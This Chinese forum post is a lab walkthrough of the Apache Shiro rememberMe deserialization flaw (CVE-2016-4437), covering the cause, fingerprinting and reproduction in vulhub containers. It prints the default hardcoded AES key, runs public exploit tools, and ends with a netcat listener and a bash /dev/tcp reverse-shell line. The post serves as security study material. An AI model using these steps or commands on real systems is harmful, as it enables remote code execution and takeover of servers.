apache shiro 是企业常见的java安全框架,执行身份验证、授权、密码和回话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
一、 shiro简介
1、shiro简述
维基百科
https://zh.wikipedia.org/wiki/Apache_Shiro
apache shiro 是企业常见的java安全框架,执行身份验证、授权、密码和回话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
2、shiro漏洞原理
Apache shiro框架提供了记住我的功能(Rememberme),用户登录成功后生成经过加密并编码的cookie。cookie的key为rememberme,cookie的值是经过对相关的信息进行序列化,然后实用aes加密,最后在使用b ase64编码处理形成的。
在服务端接收到cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cooike的值
2、b ase 64解码
3、使用aes解密(加密秘钥硬编码)
4、进行反序列化操作(未做过过滤处理)
在调用反序列化时未进行任何过滤,导致可以出发远程代码执行漏洞
3、shire序列化利用条件
由于使用了aes加密,想要成功利用漏洞则需要获取ase的加密秘钥,而在shiro的1.2.4之前的版本中使用的硬编码。其中默认秘钥的b ase64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后欧威cooike加密发送,服务端接受后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决方法,而是通过去掉硬编码的秘钥,使其每次生成一个密码来解决给漏洞。但是目前一些开源系统、教程范例代码都使用了固定的编码,这里可以通过搜索引擎,github等来收集秘钥,通过漏洞检查与利用的成功率。
4、shiro漏洞指纹
返回包中存在set-cooike:rememberme=deleteme
或者url中有shiro字样
有时候服务器不会主动返回remember=deleteme,直接发包即可
二、本地搭建
1、环境下载
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
2、环境安装
1、安装java
因为运行tomcat需要java环境
2、 安装tomcat
安装tomcat8.5
3、部署shiro
将shiro.war包上传到tomcat/webapps目录下,过几秒钟war包自动解析部署
注:如未出现shiro目录,需运行tomcat/bin目录下的tomcat8.exe,来部署shiro.war包
访问测试
http://127.0.0.1:8080/shiro/
http://127.0.0.1:8080/shiro/login.jsp;jsessionid=79060778CC3F315FCB6D43787575B30E
三、shiro漏洞复现
1、Linux 出网环境渗透shiro反序列化漏洞
CVE-2016-4437(Apache shiro 反序列化漏洞)
1)漏洞描述
Apache shiro 是个java安全框架,执行身份验证、授权、密码和会话管理。只要rememberme的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
2)漏洞原理
Apache shiro框架提供了记住我(RememberMe)的功能,关闭浏览器下次在打开还能记住你是谁。下次访问是无需登录即可即访问。shiro对rememberme的cooike最了加密处理。shiro在cooikeremembermemanager类中将cookie中rememberme字段内容分别做了反序列化、aes加密、b ase64编码操作。
原因分析:
Apache shiro默认使用cookie remembermemanager,其处理cooike的流程是:得到rememberme的cooike值>b ase64解码>ase解码>反序列化。然而ase的苗药是硬编码的,就是导致攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞特征:
shiro反序列化的特征:在返回包中set-cooike中存在rememberme=deleteme
3) 影响版本
影响shiro<1.2.5版本,当未设置用于“remember me"特性的ase秘钥时,存在反序列化漏洞。可以远程执行命令。
4)漏洞启动
(1)使用vulhub,开启shiro/CVE-2016-4437漏洞
cd /root/vulhub-master/shiro/CVE-2016-4437
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
5)漏洞复现
(1)访问靶机
http://192.168.200.128:8080/
(2)确认网站是shiro搭建的
抓包
抓包后将cooike内容改为Remember Me=1,若响应包rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建,效果如下图:
(3)直接运行找key(使用shiro_attack-1.5工具)
成功利用shiro秘钥,远程执行了命令,获得了root权限
2、Linux不出网环境渗透shiro反序列化漏洞
1)搭建环境
#从镜像仓库中拉取或者更新指定镜像
docker pull medicean/vulapps:s_shiro_1
#创建一个新的容器并运行一个命令
docker run -d -p 8888:8080 medicean/vulapps:s_shiro_1
-d: 后台运行容器,并返回容器ID;
-P: 随机端口映射,容器内部端口随机映射到主机的端口
-p 8888:8080:将shiro环境的8080端口映射到了主机的8888端口
2)验证搭建环境
http://192.168.200.128:8888/
搭建成功
3) 抓包分析remember Me
抓包后将cooike内容改为Remember Me=1,若响应包rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建
4) 不出网攻击shiro(使用shiro-1.2.4-rce脚本测试shiro漏洞)
1)需要使用python3进行执行
2)分析shiro-rce脚本
判断逻辑,修改了源码的ysoserial-sleep.jar,主要对应延迟5的应用,然后去循环key和gadget,如果某个key和gadget组合机器延迟命令success生效了,就是存在的,还区别两个判断,linux和windows,最后在写入shell后还对发送命令进行了b ase64进行编译之后发送。
3)开始进行验证攻击测试
python3 shiro-1.2.4_rce.py hhttp://192.168.200.128:8888/
输入linux系统获得shell
6)反弹一个shell
攻击方:nc -lvp 4444
上面脚本获得的shell中执行:bash -i &gt;& /dev/tcp/192.168.200.129/4444 0&gt;&1
反弹shell成功
四、总结
1、首先对shiro反序列化漏洞原理进行分析,Apache shiro框架提供了记住Rememberme,用户登录成功后生成经过加密并编码的cookie。cookie的key为rememberme,cookie的值是经过对相关的信息进行序列化,然后实用aes加密,最后在使用b ase64编码处理形成的。
2、其次部署安装jdk、tomcat、shiro环境进行部署。
3、可以访问互联网情况下,利用DNSLOG进行,测试shiro key;不可以访问互联网情况下,循环key和gadget组合机器延迟命令,success生效了,就是存在的。
结束~
- 本文作者: 嗯嗯呐
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/401
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!